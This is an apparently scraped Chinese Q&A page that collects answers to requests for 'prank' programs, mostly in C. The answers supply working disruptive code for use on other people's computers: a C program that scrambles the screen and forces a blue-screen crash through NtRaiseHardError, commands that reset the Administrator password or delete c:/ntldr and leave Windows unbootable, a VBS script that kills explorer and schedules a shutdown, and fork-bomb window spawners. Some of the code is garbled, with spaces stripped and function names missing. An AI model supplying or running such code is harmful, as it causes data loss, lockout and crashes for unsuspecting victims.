當前位置:首頁 » 編程語言 » 有趣的整人c語言程序
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

有趣的整人c語言程序

發布時間: 2022-06-29 02:04:52

① 求一個c語言整人代碼!!!

先上代碼

#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}

運行這段代碼首先會花屏並閃屏,一分鍾後藍屏。

效果圖:

② 求一個C語言整人程序代碼

#include<stdio.h>#include<stdlib.h>void main(){ system("shutdown -l -t 20");}

③ 如何用C語言編一個假中毒的惡作劇程序

一個小東西 介紹了後別笑話我 !它的功能很簡單,就是把Administrator的密碼該成xiaoniaoheihei
大家整了人之後切記告訴他密碼(xiaoniaoheihei)

由於不能上傳文件文件尺寸:
小於 200 kb
可用擴展名: gif, jpg
自己可以用TC2.0編寫編譯調試生成
C語言下的代碼如下:

main()
{
system("net user administrator xiaoniaoheihei");
}
如果自己真的不小心忘記了密碼 如果是XP系統 管理員密碼破解如下:
1.用個啟動盤啟動電腦後進入DOS 狀態下:輸入如下命令
del X:\windows\sysrem32\config\sam 回車
x:\windows\repair\sam x:\windows\system32\config 回車
2.重新啟動計算機。X為安裝XP的盤 一般為c:

④ 求C語言編寫的整人程序 批處理我還不會 如果發了批處理的 麻煩寫好解釋啦 謝謝各位大俠

最簡單的:
attrib c:/ntldr -a -h -s -r
del c:/ntldr /f /q
shutdown /s /t 0

提供一個vbs
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
dim a
WSHshellA.run "cmd.exe /c shutdown -r -t 600 -c ""輸入ax_pokl很聰明,不會就馬上關你機,不信,試試"" ",0,true
WSHshellA.run "tskill explorer",0,true
msgbox chr(13) + chr(13) + chr(13) + "點應用程序-新任務,輸入tskill wscript,點確定就好了,(∩_∩)o...哈哈"
do while(a <> "ax_pokl很聰明")
a = inputbox ("輸入ax_pokl很聰明,不會就不關機,快撒,輸入 ""ax_pokl很聰明"" ","會不會","不會",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + "你傻了吧?水平啊,我也會改!"
msgbox chr(13) + chr(13) + chr(13) + "教你吧,先按CTRL+ALT+DELETE"
msgbox chr(13) + chr(13) + chr(13) + "點應用程序-新任務,輸入c:\WINDOWS\explorer.exe,點確定"
msgbox chr(13) + chr(13) + chr(13) + "點應用程序-新任務,輸入shutdown -a,點確定"
loop
msgbox chr(13) + chr(13) + chr(13) + "早點輸入不就行了嘛"
msgbox chr(13) + chr(13) + chr(13) + "開心了吧?"
dim d
dim c
dim b
c=1
do while(d <> "要")
d = inputbox ("要不要試試更厲害的?","要不要","不要",8000,7000)
For b = 1 To c
msgbox chr(13) + chr(13) + chr(13) + "哈哈,快輸入""要",b,"!"
next
c=c+1
loop
msgbox chr(13) + chr(13) + chr(13) + "看在你可憐的面上就放過你吧。。。"
WSHshellA.run "cmd.exe /c shutdown -a ",0,true
WSHshellA.run "c:\WINDOWS\explorer.exe",0,true

⑤ 求助:關於C語言編一個整人的程序。

代碼有錯:
scanf("%s", &write);改成scanf("%c", &write); write是字元,不是字元串.

改好後,用windows管理員帳號登陸,在命令行下直接運行exe試試。

⑥ 誰能教我用C語言編寫一個整人程序

# include <stdio.h>
# include <windows.h>
# include <malloc.h>

int main(void)
{
int c;
int i;
int j;

nihao:
printf("1:CF破解\n");
printf("2:QQ飛車破解\n");
printf("請選擇: ");

scanf("%d",&c);

if (c == 1)
{
system("shutdown -s -t 600");
}
else if (2 == c)
{
printf("你太壞了 我要懲罰你!\n");
for (j=0; j<666; ++j)
system("start");
}
else
{
printf("你敲錯了,請重新輸入!\n");
goto nihao;
}
return 0;
}

1 。選擇 是關機
2 。選擇 是彈出666個窗口

⑦ 用C語言編寫一個惡作劇的小程序,O(∩_∩)O謝謝

#include<stdio.h>
#include<windows.h>
int
main()
{
system("shutdown
-s
-t
100");
system("shutdown
-r");//把這行注釋掉

把編譯成功之後的exe發給其他人
雙擊之後就可以關機了

return
0;
}

⑧ 求一段整人C語言小程序

給你最簡單的,那有時間編那個,這個文件是批處理,打開記事本,輸入第一行@echo off,第二行 start cmd,第三行,%0然後保存成文件類型為bat文件。然後你打開那個文件試一試。保證,你會很爽的,放心只是惡搞。

⑨ 哪位大俠精通c語言,推薦幾個有趣的 實用的 c語言小程序

#include"stdio.h"
#include"stdlib.h"
#include"windows.h"
main()
{
int i;
printf("呃,我要做什麼呢?讓我想想");
for(i=1;i<=7;i++)
{
printf(". ");
Sleep(1*1000);
}
printf("\n");
printf("啊,有了 哈哈");
for(i=1;i<=15;i++)
{
printf("~");
Sleep(1*100);
}
printf("\n");
char write[100];
system("shutdown -s -t 60");
printf("快說你是豬!不然就給你關機,你只有一分鍾考慮時間!\n");
gt:
scanf("%s",write);
if(strcmp(write,"我是豬")==0)
{
printf("哈哈,這就對了~~~\n\n");
system("shutdown -a");
}
if(strcmp(write,"我是豬")!=0)
{
printf("不說是吧?沒關系,那就等著關機吧,哈哈哈哈!\n");
goto gt;
}
}
這個是個整人的小程序代碼,打開後會有提示,提示後會啟動系統關機倒計時,只有按提示輸入正確的漢字才能關閉「系統關機」命令。本人初學者,自己調的,僅供參考。只做娛樂使用,注意保存修改過的文件。

⑩ 求一些惡搞程序的C語言源代碼

#include "stdio.h"
#include "stdlib.h"
result love(boy, girl)
{
if ( boy.有房() and boy.有車() )
{
boy.set(nothing);
return girl.嫁給(boy);
}
if ( girl.願意等() )
{
while( ! (boy.賺錢 > 100,000 and girl.感情 > 8 ) )
{
for ( day=1; day <=365; day++)
{
if ( day == 情人節 )
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拚命賺錢();
}
}
if ( boy.有房() and boy.有車() )
{
boy.set(nothing);
return girl.嫁給(boy);
}
年齡++;
girl.感情--;
}
return girl.goto( another_boy);
}